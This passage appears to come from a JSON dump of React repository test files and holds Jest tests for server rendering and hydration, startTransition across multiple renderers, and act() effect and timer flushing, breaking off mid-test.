ReactDOMClient.hydrateRoot(element, markup);\n    });\n    expect(element.textContent).toBe('Hi');\n    expect(ref.current.tagName).toBe('DIV');\n  });\n\n  it('should be able to render and hydrate Profiler components', async () => {\n    const callback = jest.fn();\n    const markup = (\n      <React.Profiler id=\"profiler\" onRender={callback}>\n        <div>Hi</div>\n      </React.Profiler>\n    );\n\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(markup);\n    expect(element.textContent).toBe('Hi');\n    expect(callback).not.toHaveBeenCalled();\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(element, markup);\n    });\n    expect(element.textContent).toBe('Hi');\n    if (__DEV__) {\n      expect(callback).toHaveBeenCalledTimes(1);\n      const [id, phase] = callback.mock.calls[0];\n      expect(id).toBe('profiler');\n      expect(phase).toBe('mount');\n    } else {\n      expect(callback).toHaveBeenCalledTimes(0);\n    }\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/11423\n  it('should ignore noscript content on the client and not warn about mismatches', async () => {\n    const callback = jest.fn();\n    const TestComponent = ({onRender}) => {\n      onRender();\n      return <div>Enable JavaScript to run this app.</div>;\n    };\n    const markup = (\n      <noscript>\n        <TestComponent onRender={callback} />\n      </noscript>\n    );\n\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(markup);\n    expect(callback).toHaveBeenCalledTimes(1);\n    expect(element.textContent).toBe(\n      '<div>Enable JavaScript to run this app.</div>',\n    );\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(element, markup);\n    });\n    expect(callback).toHaveBeenCalledTimes(1);\n    expect(element.textContent).toBe(\n      '<div>Enable JavaScript to run this app.</div>',\n    );\n  });\n\n  it('should be able to use lazy components after hydrating', async () => {\n    let resolveLazy;\n    const Lazy = React.lazy(\n      () =>\n        new Promise(resolve => {\n          resolveLazy = () => {\n            resolve({\n              default: function World() {\n                return 'world';\n              },\n            });\n          };\n        }),\n    );\n    class HelloWorld extends React.Component {\n      state = {isClient: false};\n      componentDidMount() {\n        this.setState({\n          isClient: true,\n        });\n      }\n      render() {\n        return (\n          <div>\n            Hello{' '}\n            {this.state.isClient && (\n              <React.Suspense fallback=\"loading\">\n                <Lazy />\n              </React.Suspense>\n            )}\n          </div>\n        );\n      }\n    }\n\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(<HelloWorld />);\n    expect(element.textContent).toBe('Hello ');\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(element, <HelloWorld />);\n    });\n    expect(element.textContent).toBe('Hello loading');\n\n    // Resolve Lazy component\n    await act(() => resolveLazy());\n    expect(element.textContent).toBe('Hello world');\n  });\n\n  it('does not re-enter hydration after committing the first one', async () => {\n    const finalHTML = ReactDOMServer.renderToString(<div />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n    const root = await act(() =>\n      ReactDOMClient.hydrateRoot(container, <div />),\n    );\n    await act(() => root.render(null));\n    // This should not reenter hydration state and therefore not trigger hydration\n    // warnings.\n    await act(() => root.render(<div />));\n  });\n\n  // regression test for https://github.com/facebook/react/issues/17170\n  it('should not warn if dangerouslySetInnerHtml=undefined', async () => {\n    const domElement = document.createElement('div');\n    const reactElement = (\n      <div dangerouslySetInnerHTML={undefined}>\n        <p>Hello, World!</p>\n      </div>\n    );\n    const markup = ReactDOMServer.renderToStaticMarkup(reactElement);\n    domElement.innerHTML = markup;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(domElement, reactElement);\n    });\n\n    expect(domElement.innerHTML).toEqual(markup);\n  });\n\n  it('should warn if innerHTML mismatches with dangerouslySetInnerHTML=undefined and children on the client', async () => {\n    const domElement = document.createElement('div');\n    const markup = ReactDOMServer.renderToStaticMarkup(\n      <div dangerouslySetInnerHTML={{__html: '<p>server</p>'}} />,\n    );\n    domElement.innerHTML = markup;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        domElement,\n        <div dangerouslySetInnerHTML={undefined}>\n          <p>client</p>\n        </div>,\n        {onRecoverableError: error => {}},\n      );\n    });\n\n    expect(domElement.innerHTML).not.toEqual(markup);\n  });\n\n  it('should warn if innerHTML mismatches with dangerouslySetInnerHTML=undefined on the client', async () => {\n    const domElement = document.createElement('div');\n    const markup = ReactDOMServer.renderToStaticMarkup(\n      <div dangerouslySetInnerHTML={{__html: '<p>server</p>'}} />,\n    );\n    domElement.innerHTML = markup;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        domElement,\n        <div dangerouslySetInnerHTML={undefined} />,\n        {onRecoverableError: error => {}},\n      );\n    });\n\n    expect(domElement.innerHTML).not.toEqual(markup);\n  });\n\n  it('should warn when hydrating read-only properties', async () => {\n    const readOnlyProperties = [\n      'offsetParent',\n      'offsetTop',\n      'offsetLeft',\n      'offsetWidth',\n      'offsetHeight',\n      'isContentEditable',\n      'outerText',\n      'outerHTML',\n    ];\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const readOnlyProperty of readOnlyProperties) {\n      const props = {};\n      props[readOnlyProperty] = 'hello';\n      const jsx = React.createElement('my-custom-element', props);\n      const element = document.createElement('div');\n      element.innerHTML = ReactDOMServer.renderToString(jsx);\n      await act(() => {\n        ReactDOMClient.hydrateRoot(element, jsx);\n      });\n      assertConsoleErrorDev([\n        `Assignment to read-only property will result in a no-op: \\`${readOnlyProperty}\\`\n            in my-custom-element (at **)`,\n      ]);\n    }\n  });\n\n  it('should not re-assign properties on hydration', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    const jsx = React.createElement('my-custom-element', {\n      str: 'string',\n      obj: {foo: 'bar'},\n    });\n\n    container.innerHTML = ReactDOMServer.renderToString(jsx);\n    const customElement = container.querySelector('my-custom-element');\n\n    // Install setters to activate `in` check\n    Object.defineProperty(customElement, 'str', {\n      set: function (x) {\n        this._str = x;\n      },\n      get: function () {\n        return this._str;\n      },\n    });\n    Object.defineProperty(customElement, 'obj', {\n      set: function (x) {\n        this._obj = x;\n      },\n      get: function () {\n        return this._obj;\n      },\n    });\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, jsx);\n    });\n\n    expect(customElement.getAttribute('str')).toBe('string');\n    expect(customElement.getAttribute('obj')).toBe(null);\n    expect(customElement.str).toBe(undefined);\n    expect(customElement.obj).toBe(undefined);\n  });\n\n  it('refers users to apis that support Suspense when something suspends', async () => {\n    const theInfinitePromise = new Promise(() => {});\n    function InfiniteSuspend() {\n      throw theInfinitePromise;\n    }\n\n    function App({isClient}) {\n      return (\n        <div>\n          <React.Suspense fallback={'fallback'}>\n            {isClient ? 'resolved' : <InfiniteSuspend />}\n          </React.Suspense>\n        </div>\n      );\n    }\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(\n      <App isClient={false} />,\n    );\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push(error.message);\n      },\n    });\n\n    await waitForAll([]);\n    expect(errors.length).toBe(1);\n    if (__DEV__) {\n      expect(errors[0]).toBe(\n        'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used \"renderToString\" ' +\n          'which does not support Suspense. If you intended for this Suspense boundary to render ' +\n          'the fallback content on the server consider throwing an Error somewhere within the ' +\n          'Suspense boundary. If you intended to have the server wait for the suspended component ' +\n          'please switch to \"renderToPipeableStream\" which supports Suspense on the server',\n      );\n    } else {\n      expect(errors[0]).toBe(\n        'The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering. Switched to client rendering.',\n      );\n    }\n  });\n\n  it('refers users to apis that support Suspense when something suspends (browser)', async () => {\n    const theInfinitePromise = new Promise(() => {});\n    function InfiniteSuspend() {\n      throw theInfinitePromise;\n    }\n\n    function App({isClient}) {\n      return (\n        <div>\n          <React.Suspense fallback={'fallback'}>\n            {isClient ? 'resolved' : <InfiniteSuspend />}\n          </React.Suspense>\n        </div>\n      );\n    }\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServerBrowser.renderToString(\n      <App isClient={false} />,\n    );\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push(error.message);\n      },\n    });\n\n    await waitForAll([]);\n    expect(errors.length).toBe(1);\n    if (__DEV__) {\n      expect(errors[0]).toBe(\n        'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used \"renderToString\" ' +\n          'which does not support Suspense. If you intended for this Suspense boundary to render ' +\n          'the fallback content on the server consider throwing an Error somewhere within the ' +\n          'Suspense boundary. If you intended to have the server wait for the suspended component ' +\n          'please switch to \"renderToReadableStream\" which supports Suspense on the server',\n      );\n    } else {\n      expect(errors[0]).toBe(\n        'The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering. Switched to client rendering.',\n      );\n    }\n  });\n\n  it('allows rendering extra hidden inputs in a form', async () => {\n    const element = document.createElement('div');\n    element.innerHTML =\n      '<form>' +\n      '<input type=\"hidden\" /><input type=\"hidden\" name=\"a\" value=\"A\" />' +\n      '<input type=\"hidden\" /><input type=\"submit\" name=\"b\" value=\"B\" />' +\n      '<input type=\"hidden\" /><button name=\"c\" value=\"C\"></button>' +\n      '<input type=\"hidden\" />' +\n      '</form>';\n    const form = element.firstChild;\n    const ref = React.createRef();\n    const a = React.createRef();\n    const b = React.createRef();\n    const c = React.createRef();\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(\n        element,\n        <form ref={ref}>\n          <input type=\"hidden\" name=\"a\" value=\"A\" ref={a} />\n          <input type=\"submit\" name=\"b\" value=\"B\" ref={b} />\n          <button name=\"c\" value=\"C\" ref={c} />\n        </form>,\n      );\n    });\n\n    // The content should not have been client rendered.\n    expect(ref.current).toBe(form);\n\n    expect(a.current.name).toBe('a');\n    expect(a.current.value).toBe('A');\n    expect(b.current.name).toBe('b');\n    expect(b.current.value).toBe('B');\n    expect(c.current.name).toBe('c');\n    expect(c.current.value).toBe('C');\n  });\n\n  it('allows rendering extra hidden inputs immediately before a text instance', async () => {\n    const element = document.createElement('div');\n    element.innerHTML =\n      '<button><input name=\"a\" value=\"A\" type=\"hidden\" />Click <!-- -->me</button>';\n    const button = element.firstChild;\n    const ref = React.createRef();\n    const extraText = 'me';\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        element,\n        <button ref={ref}>Click {extraText}</button>,\n      );\n    });\n\n    expect(ref.current).toBe(button);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactStartTransitionMultipleRenderers-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactStartTransitionMultipleRenderers', () => {\n  let act;\n  let container;\n  let React;\n  let ReactDOMClient;\n  let Scheduler;\n  let assertLog;\n  let startTransition;\n  let useOptimistic;\n  let textCache;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    startTransition = React.startTransition;\n    useOptimistic = React.useOptimistic;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t(text));\n    }\n  }\n\n  function getText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n      return thenable;\n    } else {\n      switch (record.status) {\n        case 'pending':\n          return record.value;\n        case 'rejected':\n          return Promise.reject(record.value);\n        case 'resolved':\n          return Promise.resolve(record.value);\n      }\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  // This test imports multiple reconcilers. Because of how the renderers are\n  // built, it only works when running tests using the actual build artifacts,\n  // not the source files.\n  // @gate !source\n  it('React.startTransition works across multiple renderers', async () => {\n    const ReactNoop = require('react-noop-renderer');\n\n    const setIsPendings = new Set();\n\n    function App() {\n      const [isPending, setIsPending] = useOptimistic(false);\n      setIsPendings.add(setIsPending);\n      return <Text text={isPending ? 'Pending' : 'Not pending'} />;\n    }\n\n    const noopRoot = ReactNoop.createRoot(null);\n    const domRoot = ReactDOMClient.createRoot(container);\n\n    // Run the same component in two separate renderers.\n    await act(() => {\n      noopRoot.render(<App />);\n      domRoot.render(<App />);\n    });\n    assertLog(['Not pending', 'Not pending']);\n    expect(container.textContent).toEqual('Not pending');\n    expect(noopRoot).toMatchRenderedOutput('Not pending');\n\n    await act(() => {\n      startTransition(async () => {\n        // Wait until after an async gap before setting the optimistic state.\n        await getText('Wait before setting isPending');\n        setIsPendings.forEach(setIsPending => setIsPending(true));\n\n        // The optimistic state should not be reverted until the\n        // action completes.\n        await getText('Wait until end of async action');\n      });\n    });\n\n    await act(() => resolveText('Wait before setting isPending'));\n    assertLog(['Pending', 'Pending']);\n    expect(container.textContent).toEqual('Pending');\n    expect(noopRoot).toMatchRenderedOutput('Pending');\n\n    await act(() => resolveText('Wait until end of async action'));\n    assertLog(['Not pending', 'Not pending']);\n    expect(container.textContent).toEqual('Not pending');\n    expect(noopRoot).toMatchRenderedOutput('Not pending');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactTestUtilsAct-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\nlet React;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet container;\nlet assertLog;\nlet assertConsoleErrorDev;\n\njest.useRealTimers();\n\nglobal.IS_REACT_ACT_ENVIRONMENT = true;\n\nfunction sleep(period) {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve(true);\n    }, period);\n  });\n}\n\ndescribe('React.act()', () => {\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  let root = null;\n  const renderConcurrent = (el, dom) => {\n    root = ReactDOMClient.createRoot(dom);\n    if (__DEV__) {\n      act(() => root.render(el));\n    } else {\n      root.render(el);\n    }\n  };\n\n  const unmountConcurrent = _dom => {\n    if (__DEV__) {\n      act(() => {\n        if (root !== null) {\n          root.unmount();\n          root = null;\n        }\n      });\n    } else {\n      if (root !== null) {\n        root.unmount();\n        root = null;\n      }\n    }\n  };\n\n  const rerenderConcurrent = el => {\n    act(() => root.render(el));\n  };\n\n  runActTests(renderConcurrent, unmountConcurrent, rerenderConcurrent);\n\n  describe('unacted effects', () => {\n    function App() {\n      React.useEffect(() => {}, []);\n      return null;\n    }\n\n    // @gate __DEV__\n    it('does not warn', () => {\n      root = ReactDOMClient.createRoot(document.createElement('div'));\n      act(() => root.render(<App />));\n    });\n  });\n});\n\nfunction runActTests(render, unmount, rerender) {\n  describe('concurrent render', () => {\n    beforeEach(() => {\n      jest.resetModules();\n      React = require('react');\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler');\n      act = React.act;\n\n      const InternalTestUtils = require('internal-test-utils');\n      assertLog = InternalTestUtils.assertLog;\n      assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n      container = document.createElement('div');\n      document.body.appendChild(container);\n    });\n\n    afterEach(() => {\n      unmount(container);\n      document.body.removeChild(container);\n    });\n\n    describe('sync', () => {\n      // @gate __DEV__\n      it('can use act to flush effects', () => {\n        function App() {\n          React.useEffect(() => {\n            Scheduler.log(100);\n          });\n          return null;\n        }\n\n        act(() => {\n          render(<App />, container);\n        });\n\n        assertLog([100]);\n      });\n\n      // @gate __DEV__\n      it('flushes effects on every call', async () => {\n        function App() {\n          const [ctr, setCtr] = React.useState(0);\n          React.useEffect(() => {\n            Scheduler.log(ctr);\n          });\n          return (\n            <button id=\"button\" onClick={() => setCtr(x => x + 1)}>\n              {ctr}\n            </button>\n          );\n        }\n\n        act(() => {\n          render(<App />, container);\n        });\n        assertLog([0]);\n        const button = container.querySelector('#button');\n        function click() {\n          button.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n        }\n\n        await act(async () => {\n          click();\n          click();\n          click();\n        });\n        // it consolidates the 3 updates, then fires the effect\n        assertLog([3]);\n        await act(async () => click());\n        assertLog([4]);\n        await act(async () => click());\n        assertLog([5]);\n        expect(button.innerHTML).toBe('5');\n      });\n\n      // @gate __DEV__\n      it(\"should keep flushing effects until they're done\", () => {\n        function App() {\n          const [ctr, setCtr] = React.useState(0);\n          React.useEffect(() => {\n            if (ctr < 5) {\n              setCtr(x => x + 1);\n            }\n          });\n          return ctr;\n        }\n\n        act(() => {\n          render(<App />, container);\n        });\n\n        expect(container.innerHTML).toBe('5');\n      });\n\n      // @gate __DEV__\n      it('should flush effects only on exiting the outermost act', () => {\n        function App() {\n          React.useEffect(() => {\n            Scheduler.log(0);\n          });\n          return null;\n        }\n        // let's nest a couple of act() calls\n        act(() => {\n          act(() => {\n            render(<App />, container);\n          });\n          // the effect wouldn't have yielded yet because\n          // we're still inside an act() scope\n          assertLog([]);\n        });\n        // but after exiting the last one, effects get flushed\n        assertLog([0]);\n      });\n\n      // @gate __DEV__\n      it('warns if a setState is called outside of act(...)', () => {\n        let setValue = null;\n        function App() {\n          const [value, _setValue] = React.useState(0);\n          setValue = _setValue;\n          return value;\n        }\n\n        act(() => {\n          render(<App />, container);\n        });\n\n        setValue(1);\n        assertConsoleErrorDev([\n          'An update to App inside a test was not wrapped in act(...).\\n' +\n            '\\n' +\n            'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n            '\\n' +\n            'act(() => {\\n' +\n            '  /* fire events that update state */\\n' +\n            '});\\n' +\n            '/* assert on the output */\\n' +\n            '\\n' +\n            \"This ensures that you're testing the behavior the user would see in the browser. \" +\n            'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n            '    in App (at **)',\n        ]);\n      });\n\n      // @gate __DEV__\n      it('warns if a setState is called outside of act(...) after a component threw', () => {\n        let setValue = null;\n        function App({defaultValue}) {\n          if (defaultValue === undefined) {\n            throw new Error('some error');\n          }\n          const [value, _setValue] = React.useState(defaultValue);\n          setValue = _setValue;\n          return value;\n        }\n\n        expect(() => {\n          act(() => {\n            render(<App defaultValue={undefined} />, container);\n          });\n        }).toThrow('some error');\n\n        act(() => {\n          rerender(<App defaultValue={0} />, container);\n        });\n\n        setValue(1);\n        assertConsoleErrorDev([\n          'An update to App inside a test was not wrapped in act(...).\\n' +\n            '\\n' +\n            'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n            '\\n' +\n            'act(() => {\\n' +\n            '  /* fire events that update state */\\n' +\n            '});\\n' +\n            '/* assert on the output */\\n' +\n            '\\n' +\n            \"This ensures that you're testing the behavior the user would see in the browser. \" +\n            'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n            '    in App (at **)',\n        ]);\n      });\n\n      // @gate __DEV__\n      it('does not warn if IS_REACT_ACT_ENVIRONMENT is set to false', () => {\n        let setState;\n        function App() {\n          const [state, _setState] = React.useState(0);\n          setState = _setState;\n          return state;\n        }\n\n        act(() => {\n          render(<App />, container);\n        });\n\n        // First show that it does warn\n        setState(1);\n        assertConsoleErrorDev([\n          'An update to App inside a test was not wrapped in act(...).\\n' +\n            '\\n' +\n            'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n            '\\n' +\n            'act(() => {\\n' +\n            '  /* fire events that update state */\\n' +\n            '});\\n' +\n            '/* assert on the output */\\n' +\n            '\\n' +\n            \"This ensures that you're testing the behavior the user would see in the browser. \" +\n            'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n            '    in App (at **)',\n        ]);\n\n        // Now do the same thing again, but disable with the environment flag\n        const prevIsActEnvironment = global.IS_REACT_ACT_ENVIRONMENT;\n        global.IS_REACT_ACT_ENVIRONMENT = false;\n        try {\n          setState(2);\n        } finally {\n          global.IS_REACT_ACT_ENVIRONMENT = prevIsActEnvironment;\n        }\n\n        // When the flag is restored to its previous value, it should start\n        // warning again. This shows that React reads the flag each time.\n        setState(3);\n        assertConsoleErrorDev([\n          'An update to App inside a test was not wrapped in act(...).\\n' +\n            '\\n' +\n            'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n            '\\n' +\n            'act(() => {\\n' +\n            '  /* fire events that update state */\\n' +\n            '});\\n' +\n            '/* assert on the output */\\n' +\n            '\\n' +\n            \"This ensures that you're testing the behavior the user would see in the browser. \" +\n            'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n            '    in App (at **)',\n        ]);\n      });\n\n      describe('fake timers', () => {\n        beforeEach(() => {\n          jest.useFakeTimers();\n        });\n\n        afterEach(() => {\n          jest.useRealTimers();\n        });\n\n        // @gate __DEV__\n        it('lets a ticker update', () => {\n          function App() {\n            const [toggle, setToggle] = React.useState(0);\n            React.useEffect(() => {\n              const timeout = setTimeout(() => {\n                setToggle(1);\n              }, 200);\n              return () => clearTimeout(timeout);\n            }, []);\n            return toggle;\n          }\n\n          act(() => {\n            render(<App />, container);\n          });\n          act(() => {\n            jest.runAllTimers();\n          });\n\n          expect(container.innerHTML).toBe('1');\n        });\n\n        // @gate __DEV__\n        it('can use the async version to catch microtasks', async () => {\n          function App() {\n            const [toggle, setToggle] = React.useState(0);\n            React.useEffect(() => {\n              // just like the previous test, except we\n              // use a promise and schedule the update\n              // after it resolves\n              sleep(200).then(() => setToggle(1));\n            }, []);\n            return toggle;\n          }\n\n          act(() => {\n            render(<App />, container);\n          });\n          await act(async () => {\n            jest.runAllTimers();\n          });\n\n          expect(container.innerHTML).toBe('1');\n        });\n\n        // @gate __DEV__\n        it('can handle cascading promises with fake timers', async () => {\n          // this component triggers an effect, that waits a tick,\n          // then sets state. repeats this 5 times.\n          function App() {\n            const [state, setState] = React.useState(0);\n            async function ticker() {\n              await null;\n              setState(x => x + 1);\n            }\n            React.useEffect(() => {\n              ticker();\n            }, [Math.min(state, 4)]);\n            return state;\n          }\n\n          await act(async () => {\n            render(<App />, container);\n          });\n\n          // all 5 ticks present and accounted for\n          expect(container.innerHTML).toBe('5');\n        });\n\n        // @gate __DEV__\n        it('flushes immediate re-renders with act', () => {\n          function App() {\n            const [ctr, setCtr] = React.useState(0);\n            React.useEffect(() => {\n              if (ctr === 0) {\n                setCtr(1);\n              }\n              const timeout = setTimeout(() => setCtr(2), 1000);\n              return () => clearTimeout(timeout);\n            });\n            return ctr;\n          }\n\n          act(() => {\n            render(<App />, container);\n            // Since effects haven't been flushed yet, this does not advance the timer\n            jest.runAllTimers();\n          });\n\n          expect(container.innerHTML).toBe('1');\n\n          act(() => {\n            jest.runAllTimers();\n          });\n\n          expect(container.innerHTML).toBe('2');\n        });\n      });\n    });\n\n    describe('asynchronous tests', () => {\n      // @gate __DEV__\n      it('works with timeouts', async () => {\n        function App() {\n          const [ctr, setCtr] = React.useState(0);\n          function doSomething() {\n            setTimeout(() => {\n              setCtr(1);\n            }, 50);\n          }\n\n          React.useEffect(() => {\n            doSomething();\n          }, []);\n          return ctr;\n        }\n\n        await act(async () => {\n          render(<App />, container);\n        });\n        expect(container.innerHTML).toBe('0');\n        // Flush the pending timers\n        await act(async () => {\n          await sleep(100);\n        });\n        expect(container.innerHTML).toBe('1');\n      });\n\n      // @gate __DEV__\n      it('flushes microtasks before exiting (async function)', async () => {\n        function App() {\n          const [ctr, setCtr] = React.useState(0);\n          async function someAsyncFunction() {\n            // queue a bunch of promises to be sure they all flush\n            await null;\n            await null;\n            await null;\n            setCtr(1);\n          }\n          React.useEffect(() => {\n            someAsyncFunction();\n          }, []);\n          return ctr;\n        }\n\n        await act(async () => {\n          render(<App />, container);\n        });\n        expect(container.innerHTML).toEqual('1');\n      });\n\n      // @gate __DEV__\n      it('flushes microtasks before exiting (sync function)', async () => {\n        // Same as previous test, but the callback passed to `act` is not itself\n        // an async function.\n        function App() {\n          const [ctr, setCtr] = React.useState(0);\n          async function someAsyncFunction() {\n            // queue a bunch of promises to be sure they all flush\n            await null;\n            await null;\n            await null;\n            setCtr(1);\n          }\n          React.useEffect(() => {\n            someAsyncFunction();\n          }, []);\n          return ctr;\n        }\n\n        await act(() => {\n          render(<App />, container);\n        });\n        expect(container.innerHTML).toEqual('1');\n      });\n\n      // @gate __DEV__\n      it('warns if you do not await an act call', async () => {\n        spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n        act(async () => {});\n        // it's annoying that we have to wait a tick before this warning comes in\n        await sleep(0);\n        if (__DEV__) {\n          expect(console.error).toHaveBeenCalledTimes(1);\n          expect(console.error.mock.calls[0][0]).toMatch(\n            'You called act(async () => ...) without await.',\n          );\n        }\n      });\n\n      // @gate __DEV__\n      it('warns if you try to interleave multiple act calls', async () => {\n        spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n\n        await Promise.all([\n          act(async () => {\n            await sleep(50);\n          }),\n          act(async () => {\n            await sleep(100);\n          }),\n        ]);\n\n        await sleep(150);\n        if (__DEV__) {\n          expect(console.error).toHaveBeenCalledTimes(2);\n          expect(console.error.mock.calls[0][0]).toMatch(\n            'You seem to have overlapping act() calls',\n          );\n          expect(console.error.mock.calls[1][0]).toMatch(\n            'You seem to have overlapping act() calls',\n          );\n        }\n      });\n\n      // @gate __DEV__\n      it('async commits and effects are guaranteed to be flushed', async () => {\n        function App() {\n          const [state, setState] = React.useState(0);\n          async function something() {\n            await null;\n            setState(1);\n          }\n          React.useEffect(() => {\n            something();\n          }, []);\n          React.useEffect(() => {\n            Scheduler.log(state);\n          });\n          return state;\n        }\n\n        await act(async () => {\n          render(<App />, container);\n        });\n        // exiting act() drains effects and microtasks\n\n        assertLog([0, 1]);\n        expect(container.innerHTML).toBe('1');\n      });\n\n      // @gate __DEV__\n      it('can handle cascading promises', async () => {\n        // this component triggers an effect, that waits a tick,\n        // then sets state. repeats this 5 times.\n        function App() {\n          const [state, setState] = React.useState(0);\n          async function ticker() {\n            await null;\n            setState(x => x + 1);\n          }\n          React.useEffect(() => {\n            Scheduler.log(state);\n            ticker();\n          }, [Math.min(state, 4)]);\n          return state;\n        }\n\n        await act(async () => {\n          render(<App />, container);\n        });\n        // all 5 ticks present and accounted for\n        assertLog([0, 1, 2, 3, 4]);\n        expect(container.innerHTML).toBe('5');\n      });\n    });\n\n    describe('error propagation', () => {\n      // @gate __DEV__\n      it('propagates errors - sync', () => {\n        let err;\n        try {\n          act(() => {\n            throw new Error('some error');\n          });\n        } catch (_err) {\n          err = _err;\n        } finally {\n          expect(err instanceof Error).toBe(true);\n          expect(err.message).toBe('some error');\n        }\n      });\n\n      // @gate __DEV__\n      it('should propagate errors from effects - sync', () => {\n        function App() {\n          React.useEffect(() => {\n            throw new Error('oh no');\n          });\n          return null;\n        }\n        let error;\n\n        try {\n          act(() => {\n            render(<App />, container);\n          });\n        } catch (_error) {\n          error = _error;\n        } finally {\n          expect(error instanceof Error).toBe(true);\n          expect(error.message).toBe('oh no');\n        }\n      });\n\n      // @gate __DEV__\n      it('propagates errors - async', async () => {\n        let err;\n        try {\n          await act(async () => {\n            await sleep(100);\n            throw new Error('some error');\n          });\n        } catch (_err) {\n          err = _err;\n        } finally {\n          expect(err instanceof Error).toBe(true);\n          expect(err.message).toBe('some error');\n        }\n      });\n\n      // @gate __DEV__\n      it('should cleanup after errors - sync', () => {\n        function App() {\n          React.useEffect(() => {\n            Scheduler.log('oh yes');\n          });\n          return null;\n        }\n        let error;\n        try {\n          act(() => {\n            throw new Error('oh no');\n          });\n        } catch (_error) {\n          error = _error;\n        } finally {\n          expect(error instanceof Error).toBe(true);\n          expect(error.message).toBe('oh no');\n          // should be able to render components after this tho\n          act(() => {\n            render(<App />, container);\n          });\n          assertLog(['oh yes']);\n        }\n      });\n\n      // @gate __DEV__\n      it('should cleanup after errors - async', async () => {\n        function App() {\n          async function somethingAsync() {\n            await null;\n            Scheduler.log('oh yes');\n          }\n          React.useEffect(() => {\n            somethingAsync();\n          });\n          return null;\n        }\n        let error;\n        try {\n          await act(async () => {\n            await sleep(100);\n            throw new Error('oh no');\n          });\n        } catch (_error) {\n          error = _error;\n        } finally {\n          expect(error instanceof Error).toBe(true);\n          expect(error.message).toBe('oh no');\n          // should be able to render components after this tho\n          await act(async () => {\n            render(<App />, container);\n          });\n          assertLog(['oh yes']);\n        }\n      });\n    });\n\n    describe('suspense', () => {\n      if (__DEV__ && __EXPERIMENTAL__) {\n        // todo - remove __DEV__ check once we start using testing builds\n\n        // @gate __DEV__\n        it('triggers fallbacks if available', async () => {\n          let resolved = false;\n          let resolve;\n          const promise = new Promise(_resolve => {\n            resolve = _resolve;\n          });\n\n          function Suspends() {\n            if (resolved) {\n              return 'was suspended';\n            }\n            throw promise;\n          }\n\n          function App(props) {\n            return (\n              <React.Suspense\n                fallback={<span data-test-id=\"spinner\">loading...</span>}>\n                {props.suspend ? <Suspends /> : 'content'}\n              </React.Suspense>\n            );\n          }\n\n          // render something so there's content\n          act(() => {\n            render(<App suspend={false} />, container);\n          });\n\n          // trigger a suspendy update\n          act(() => {\n            rerender(<App suspend={true} />);\n          });\n          expect(\n            